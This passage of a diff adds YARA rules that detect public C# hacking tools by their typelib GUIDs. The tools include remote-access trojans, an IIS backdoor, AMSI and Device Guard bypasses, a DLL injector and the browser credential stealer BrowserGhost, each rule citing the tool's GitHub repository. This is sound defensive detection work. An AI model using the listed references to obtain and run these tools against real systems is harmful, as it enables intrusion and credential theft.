+        $typelibguid7lo = "72019dfe-608e-4ab2-a8f1-66c95c425620" ascii wide
+        $typelibguid7up = "72019DFE-608E-4AB2-A8F1-66C95C425620" ascii wide
+        $typelibguid8lo = "f0d28809-b712-4380-9a59-407b7b2badd5" ascii wide
+        $typelibguid8up = "F0D28809-B712-4380-9A59-407B7B2BADD5" ascii wide
+        $typelibguid9lo = "956a5a4d-2007-4857-9259-51cd0fb5312a" ascii wide
+        $typelibguid9up = "956A5A4D-2007-4857-9259-51CD0FB5312A" ascii wide
+        $typelibguid10lo = "a3b7c697-4bb6-455d-9fda-4ab54ae4c8d2" ascii wide
+        $typelibguid10up = "A3B7C697-4BB6-455D-9FDA-4AB54AE4C8D2" ascii wide
+        $typelibguid11lo = "a5f883ce-1f96-4456-bb35-40229191420c" ascii wide
+        $typelibguid11up = "A5F883CE-1F96-4456-BB35-40229191420C" ascii wide
+        $typelibguid12lo = "28978103-d90d-4618-b22e-222727f40313" ascii wide
+        $typelibguid12up = "28978103-D90D-4618-B22E-222727F40313" ascii wide
+        $typelibguid13lo = "0c70c839-9565-4881-8ea1-408c1ebe38ce" ascii wide
+        $typelibguid13up = "0C70C839-9565-4881-8EA1-408C1EBE38CE" ascii wide
+        $typelibguid14lo = "fa1d9a36-415a-4855-8c01-54b6e9fc6965" ascii wide
+        $typelibguid14up = "FA1D9A36-415A-4855-8C01-54B6E9FC6965" ascii wide
+        $typelibguid15lo = "252676f8-8a19-4664-bfb8-5a947e48c32a" ascii wide
+        $typelibguid15up = "252676F8-8A19-4664-BFB8-5A947E48C32A" ascii wide
+        $typelibguid16lo = "447edefc-b429-42bc-b3bc-63a9af19dbd6" ascii wide
+        $typelibguid16up = "447EDEFC-B429-42BC-B3BC-63A9AF19DBD6" ascii wide
+        $typelibguid17lo = "04d0b3a6-eaab-413d-b9e2-512fa8ebd02f" ascii wide
+        $typelibguid17up = "04D0B3A6-EAAB-413D-B9E2-512FA8EBD02F" ascii wide
+        $typelibguid18lo = "5611236e-2557-45b8-be29-5d1f074d199e" ascii wide
+        $typelibguid18up = "5611236E-2557-45B8-BE29-5D1F074D199E" ascii wide
+        $typelibguid19lo = "53f622eb-0ca3-4e9b-9dc8-30c832df1c7b" ascii wide
+        $typelibguid19up = "53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B" ascii wide
+        $typelibguid20lo = "414187db-5feb-43e5-a383-caa48b5395f1" ascii wide
+        $typelibguid20up = "414187DB-5FEB-43E5-A383-CAA48B5395F1" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_rat_shell {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/stphivos/rat-shell"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "8f206175-f7e4-5543-8059-24f102fcd4b9"
+    strings:
+        $typelibguid0lo = "7a15f8f6-6ce2-4ca4-919d-2056b70cc76a" ascii wide
+        $typelibguid0up = "7A15F8F6-6CE2-4CA4-919D-2056B70CC76A" ascii wide
+        $typelibguid1lo = "1659d65d-93a8-4bae-97d5-66d738fc6f6c" ascii wide
+        $typelibguid1up = "1659D65D-93A8-4BAE-97D5-66D738FC6F6C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_dotnet_gargoyle {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/countercept/dotnet-gargoyle"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "5efd0c83-cb65-5bda-b55e-4a89db5f337c"
+    strings:
+        $typelibguid0lo = "76435f79-f8af-4d74-8df5-d598a551b895" ascii wide
+        $typelibguid0up = "76435F79-F8AF-4D74-8DF5-D598A551B895" ascii wide
+        $typelibguid1lo = "5a3fc840-5432-4925-b5bc-abc536429cb5" ascii wide
+        $typelibguid1up = "5A3FC840-5432-4925-B5BC-ABC536429CB5" ascii wide
+        $typelibguid2lo = "6f0bbb2a-e200-4d76-b8fa-f93c801ac220" ascii wide
+        $typelibguid2up = "6F0BBB2A-E200-4D76-B8FA-F93C801AC220" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_aresskit {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/BlackVikingPro/aresskit"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "8265cd84-c8e7-5654-9d3a-774dab52d938"
+    strings:
+        $typelibguid0lo = "8dca0e42-f767-411d-9704-ae0ba4a44ae8" ascii wide
+        $typelibguid0up = "8DCA0E42-F767-411D-9704-AE0BA4A44AE8" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DLL_Injector {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/tmthrgd/DLL-Injector"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "301e70f4-89ed-539c-b7f3-9fc6ae1393b3"
+    strings:
+        $typelibguid0lo = "4581a449-7d20-4c59-8da2-7fd830f1fd5e" ascii wide
+        $typelibguid0up = "4581A449-7D20-4C59-8DA2-7FD830F1FD5E" ascii wide
+        $typelibguid1lo = "05f4b238-25ce-40dc-a890-d5bbb8642ee4" ascii wide
+        $typelibguid1up = "05F4B238-25CE-40DC-A890-D5BBB8642EE4" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_TruffleSnout {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/dsnezhkov/TruffleSnout"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "8135d39e-6a9e-567d-840f-8d8c6338cce1"
+    strings:
+        $typelibguid0lo = "33842d77-bce3-4ee8-9ee2-9769898bb429" ascii wide
+        $typelibguid0up = "33842D77-BCE3-4EE8-9EE2-9769898BB429" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Anti_Analysis {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/Anti-Analysis"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "bd527841-065e-57e9-b70e-c9d232072f1b"
+    strings:
+        $typelibguid0lo = "3092c8df-e9e4-4b75-b78e-f81a0058a635" ascii wide
+        $typelibguid0up = "3092C8DF-E9E4-4B75-B78E-F81A0058A635" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_BackNet {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/valsov/BackNet"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "91824d18-f46b-5b95-b650-4d710d711cf9"
+    strings:
+        $typelibguid0lo = "9fdae122-cd1e-467d-a6fa-a98c26e76348" ascii wide
+        $typelibguid0up = "9FDAE122-CD1E-467D-A6FA-A98C26E76348" ascii wide
+        $typelibguid1lo = "243c279e-33a6-46a1-beab-2864cc7a499f" ascii wide
+        $typelibguid1up = "243C279E-33A6-46A1-BEAB-2864CC7A499F" ascii wide
+        $typelibguid2lo = "a7301384-7354-47fd-a4c5-65b74e0bbb46" ascii wide
+        $typelibguid2up = "A7301384-7354-47FD-A4C5-65B74E0BBB46" ascii wide
+        $typelibguid3lo = "982dc5b6-1123-428a-83dd-d212490c859f" ascii wide
+        $typelibguid3up = "982DC5B6-1123-428A-83DD-D212490C859F" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AllTheThings {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/johnjohnsp1/AllTheThings"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "c35160cb-ad31-5195-a7c6-0af91a58737d"
+    strings:
+        $typelibguid0lo = "0547ff40-5255-42a2-beb7-2ff0dbf7d3ba" ascii wide
+        $typelibguid0up = "0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AddReferenceDotRedTeam {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/ceramicskate0/AddReferenceDotRedTeam"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "59299a72-9b7a-5108-81c2-d8f6d2e99b20"
+    strings:
+        $typelibguid0lo = "73c79d7e-17d4-46c9-be5a-ecef65b924e4" ascii wide
+        $typelibguid0up = "73C79D7E-17D4-46C9-BE5A-ECEF65B924E4" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Lime_Crypter {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/Lime-Crypter"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "484c7a15-7ab2-57d3-848c-0fddff753d52"
+    strings:
+        $typelibguid0lo = "f93c99ed-28c9-48c5-bb90-dd98f18285a6" ascii wide
+        $typelibguid0up = "F93C99ED-28C9-48C5-BB90-DD98F18285A6" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_BrowserGhost {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/QAX-A-Team/BrowserGhost"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        modified = "2023-04-06"
+        id = "adcc5d12-c393-5708-ae0b-a85f2187c881"
+    strings:
+        $typelibguid0lo = "2133c634-4139-466e-8983-9a23ec99e01b" ascii wide
+        $typelibguid0up = "2133C634-4139-466E-8983-9A23EC99E01B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+        and not pe.is_dll()
+}
+
+rule HKTL_NET_GUID_SharpShot {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/tothi/SharpShot"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "9d59cd53-53b1-57db-b391-eee4dd6feec0"
+    strings:
+        $typelibguid0lo = "057aef75-861b-4e4b-a372-cfbd8322c8e1" ascii wide
+        $typelibguid0up = "057AEF75-861B-4E4B-A372-CFBD8322C8E1" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Offensive__NET {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/mrjamiebowman/Offensive-.NET"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "b98495fb-0338-5042-a7ce-d117204eb91e"
+    strings:
+        $typelibguid0lo = "11fe5fae-b7c1-484a-b162-d5578a802c9c" ascii wide
+        $typelibguid0up = "11FE5FAE-B7C1-484A-B162-D5578A802C9C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_RuralBishop {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rasta-mouse/RuralBishop"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "8fd89465-1ecc-5eda-b2ab-273172ad945d"
+    strings:
+        $typelibguid0lo = "fe4414d9-1d7e-4eeb-b781-d278fe7a5619" ascii wide
+        $typelibguid0up = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DeviceGuardBypasses {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/tyranid/DeviceGuardBypasses"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "3790faac-b5be-5999-b35f-71a2ef02b6ed"
+    strings:
+        $typelibguid0lo = "f318466d-d310-49ad-a967-67efbba29898" ascii wide
+        $typelibguid0up = "F318466D-D310-49AD-A967-67EFBBA29898" ascii wide
+        $typelibguid1lo = "3705800f-1424-465b-937d-586e3a622a4f" ascii wide
+        $typelibguid1up = "3705800F-1424-465B-937D-586E3A622A4F" ascii wide
+        $typelibguid2lo = "256607c2-4126-4272-a2fa-a1ffc0a734f0" ascii wide
+        $typelibguid2up = "256607C2-4126-4272-A2FA-A1FFC0A734F0" ascii wide
+        $typelibguid3lo = "4e6ceea1-f266-401c-b832-f91432d46f42" ascii wide
+        $typelibguid3up = "4E6CEEA1-F266-401C-B832-F91432D46F42" ascii wide
+        $typelibguid4lo = "1e6e9b03-dd5f-4047-b386-af7a7904f884" ascii wide
+        $typelibguid4up = "1E6E9B03-DD5F-4047-B386-AF7A7904F884" ascii wide
+        $typelibguid5lo = "d85e3601-0421-4efa-a479-f3370c0498fd" ascii wide
+        $typelibguid5up = "D85E3601-0421-4EFA-A479-F3370C0498FD" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AMSI_Handler {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/two06/AMSI_Handler"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "40768acf-fa9e-531a-83fd-187814ddc2d4"
+    strings:
+        $typelibguid0lo = "d829426c-986c-40a4-8ee2-58d14e090ef2" ascii wide
+        $typelibguid0up = "D829426C-986C-40A4-8EE2-58D14E090EF2" ascii wide
+        $typelibguid1lo = "86652418-5605-43fd-98b5-859828b072be" ascii wide
+        $typelibguid1up = "86652418-5605-43FD-98B5-859828B072BE" ascii wide
+        $typelibguid2lo = "1043649f-18e1-41c4-ae8d-ac4d9a86c2fc" ascii wide
+        $typelibguid2up = "1043649F-18E1-41C4-AE8D-AC4D9A86C2FC" ascii wide
+        $typelibguid3lo = "1d920b03-c537-4659-9a8c-09fb1d615e98" ascii wide
+        $typelibguid3up = "1D920B03-C537-4659-9A8C-09FB1D615E98" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_RAT_TelegramSpyBot {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/SebastianEPH/RAT.TelegramSpyBot"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "57d22201-a051-5040-927c-30da3fc684fd"
+    strings:
+        $typelibguid0lo = "8653fa88-9655-440e-b534-26c3c760a0d3" ascii wide
+        $typelibguid0up = "8653FA88-9655-440E-B534-26C3C760A0D3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_TheHackToolBoxTeek {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/teeknofil/TheHackToolBoxTeek"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "ad8cf2c8-f70e-5f46-92fa-46e1fa5e683c"
+    strings:
+        $typelibguid0lo = "2aa8c254-b3b3-469c-b0c9-dcbe1dd101c0" ascii wide
+        $typelibguid0up = "2AA8C254-B3B3-469C-B0C9-DCBE1DD101C0" ascii wide
+        $typelibguid1lo = "afeff505-14c1-4ecf-b714-abac4fbd48e7" ascii wide
+        $typelibguid1up = "AFEFF505-14C1-4ECF-B714-ABAC4FBD48E7" ascii wide
+        $typelibguid2lo = "4cf42167-a5cf-4b2d-85b4-8e764c08d6b3" ascii wide
+        $typelibguid2up = "4CF42167-A5CF-4B2D-85B4-8E764C08D6B3" ascii wide
+        $typelibguid3lo = "118a90b7-598a-4cfc-859e-8013c8b9339c" ascii wide
+        $typelibguid3up = "118A90B7-598A-4CFC-859E-8013C8B9339C" ascii wide
+        $typelibguid4lo = "3075dd9a-4283-4d38-a25e-9f9845e5adcb" ascii wide
+        $typelibguid4up = "3075DD9A-4283-4D38-A25E-9F9845E5ADCB" ascii wide
+        $typelibguid5lo = "295655e8-2348-4700-9ebc-aa57df54887e" ascii wide
+        $typelibguid5up = "295655E8-2348-4700-9EBC-AA57DF54887E" ascii wide
+        $typelibguid6lo = "74efe601-9a93-46c3-932e-b80ab6570e42" ascii wide
+        $typelibguid6up = "74EFE601-9A93-46C3-932E-B80AB6570E42" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_USBTrojan {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/mashed-potatoes/USBTrojan"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "d25c9033-13e8-5fc9-8561-f8862cca39b8"
+    strings:
+        $typelibguid0lo = "4eee900e-adc5-46a7-8d7d-873fd6aea83e" ascii wide
+        $typelibguid0up = "4EEE900E-ADC5-46A7-8D7D-873FD6AEA83E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_IIS_backdoor {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/WBGlIl/IIS_backdoor"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "44264dd9-f8e9-5a60-847f-94378e07a327"
+    strings:
+        $typelibguid0lo = "3fda4aa9-6fc1-473f-9048-7edc058c4f65" ascii wide
+        $typelibguid0up = "3FDA4AA9-6FC1-473F-9048-7EDC058C4F65" ascii wide
+        $typelibguid1lo = "73ca4159-5d13-4a27-8965-d50c41ab203c" ascii wide
+        $typelibguid1up = "73CA4159-5D13-4A27-8965-D50C41AB203C" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_ShellGen {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/jasondrawdy/ShellGen"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "538a4f12-5020-5c76-9208-363f435ed9a9"
+    strings:
+        $typelibguid0lo = "c6894882-d29d-4ae1-aeb7-7d0a9b915013" ascii wide
+        $typelibguid0up = "C6894882-D29D-4AE1-AEB7-7D0A9B915013" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Mass_RAT {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NYAN-x-CAT/Mass-RAT"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "90b742da-6fd7-5c72-96cf-7a37a3e5d808"
+    strings:
+        $typelibguid0lo = "6c43a753-9565-48b2-a372-4210bb1e0d75" ascii wide
+        $typelibguid0up = "6C43A753-9565-48B2-A372-4210BB1E0D75" ascii wide
+        $typelibguid1lo = "92ba2a7e-c198-4d43-929e-1cfe54b64d95" ascii wide
+        $typelibguid1up = "92BA2A7E-C198-4D43-929E-1CFE54B64D95" ascii wide
+        $typelibguid2lo = "4cb9bbee-fb92-44fa-a427-b7245befc2f3" ascii wide
+        $typelibguid2up = "4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Browser_ExternalC2 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/mdsecactivebreach/Browser-ExternalC2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "8c309522-90e7-5f5a-b456-3a472756d397"
+    strings:
+        $typelibguid0lo = "10a730cd-9517-42d5-b3e3-a2383515cca9" ascii wide
+        $typelibguid0up = "10A730CD-9517-42D5-B3E3-A2383515CCA9" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_OffensivePowerShellTasking {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/leechristensen/OffensivePowerShellTasking"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "d221e24d-a2ef-51e2-95bf-4b91b438d9cf"
+    strings:
+        $typelibguid0lo = "d432c332-3b48-4d06-bedb-462e264e6688" ascii wide
+        $typelibguid0up = "D432C332-3B48-4D06-BEDB-462E264E6688" ascii wide
+        $typelibguid1lo = "5796276f-1c7a-4d7b-a089-550a8c19d0e8" ascii wide
+        $typelibguid1up = "5796276F-1C7A-4D7B-A089-550A8C19D0E8" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DoHC2 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/SpiderLabs/DoHC2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "0bb38f10-ca5c-5c18-97c9-540b6367d150"
+    strings:
+        $typelibguid0lo = "9877a948-2142-4094-98de-e0fbb1bc4062" ascii wide
+        $typelibguid0up = "9877A948-2142-4094-98DE-E0FBB1BC4062" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SyscallPOC {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/SolomonSklash/SyscallPOC"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "1ed5e226-0dcd-5397-b5e8-41f8a14981a1"
+    strings:
+        $typelibguid0lo = "1e54637b-c887-42a9-af6a-b4bd4e28cda9" ascii wide
+        $typelibguid0up = "1E54637B-C887-42A9-AF6A-B4BD4E28CDA9" ascii wide
+        $typelibguid1lo = "198d5599-d9fc-4a74-87f4-5077318232ad" ascii wide
+        $typelibguid1up = "198D5599-D9FC-4A74-87F4-5077318232AD" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Pen_Test_Tools {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/awillard1/Pen-Test-Tools"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "00fb98a9-e615-5fb6-a555-4326b93e2c24"
+    strings:
+        $typelibguid0lo = "922e7fdc-33bf-48de-bc26-a81f85462115" ascii wide
+        $typelibguid0up = "922E7FDC-33BF-48DE-BC26-A81F85462115" ascii wide
+        $typelibguid1lo = "ad5205dd-174d-4332-96d9-98b076d6fd82" ascii wide
+        $typelibguid1up = "AD5205DD-174D-4332-96D9-98B076D6FD82" ascii wide
+        $typelibguid2lo = "b67e7550-f00e-48b3-ab9b-4332b1254a86" ascii wide
+        $typelibguid2up = "B67E7550-F00E-48B3-AB9B-4332B1254A86" ascii wide
+        $typelibguid3lo = "5e95120e-b002-4495-90a1-cd3aab2a24dd" ascii wide
+        $typelibguid3up = "5E95120E-B002-4495-90A1-CD3AAB2A24DD" ascii wide
+        $typelibguid4lo = "295017f2-dc31-4a87-863d-0b9956c2b55a" ascii wide
+        $typelibguid4up = "295017F2-DC31-4A87-863D-0B9956C2B55A" ascii wide
+        $typelibguid5lo = "abbaa2f7-1452-43a6-b98e-10b2c8c2ba46" ascii wide
+        $typelibguid5up = "ABBAA2F7-1452-43A6-B98E-10B2C8C2BA46" ascii wide
+        $typelibguid6lo = "a4043d4c-167b-4326-8be4-018089650382" ascii wide
+        $typelibguid6up = "A4043D4C-167B-4326-8BE4-018089650382" ascii wide
+        $typelibguid7lo = "51abfd75-b179-496e-86db-62ee2a8de90d" ascii wide
+        $typelibguid7up = "51ABFD75-B179-496E-86DB-62EE2A8DE90D" ascii wide
+        $typelibguid8lo = "a06da7f8-f87e-4065-81d8-abc33cb547f8" ascii wide
+        $typelibguid8up = "A06DA7F8-F87E-4065-81D8-ABC33CB547F8" ascii wide
+        $typelibguid9lo = "ee510712-0413-49a1-b08b-1f0b0b33d6ef" ascii wide
+        $typelibguid9up = "EE510712-0413-49A1-B08B-1F0B0B33D6EF" ascii wide
+        $typelibguid10lo = "9780da65-7e25-412e-9aa1-f77d828819d6" ascii wide
+        $typelibguid10up = "9780DA65-7E25-412E-9AA1-F77D828819D6" ascii wide
+        $typelibguid11lo = "7913fe95-3ad5-41f5-bf7f-e28f080724fe" ascii wide
+        $typelibguid11up = "7913FE95-3AD5-41F5-BF7F-E28F080724FE" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_The_Collection {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Tlgyt/The-Collection"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-13"
+        modified = "2023-04-06"
+        id = "4ae78576-ab75-5679-9a29-4d9a1ff03f15"
+    strings:
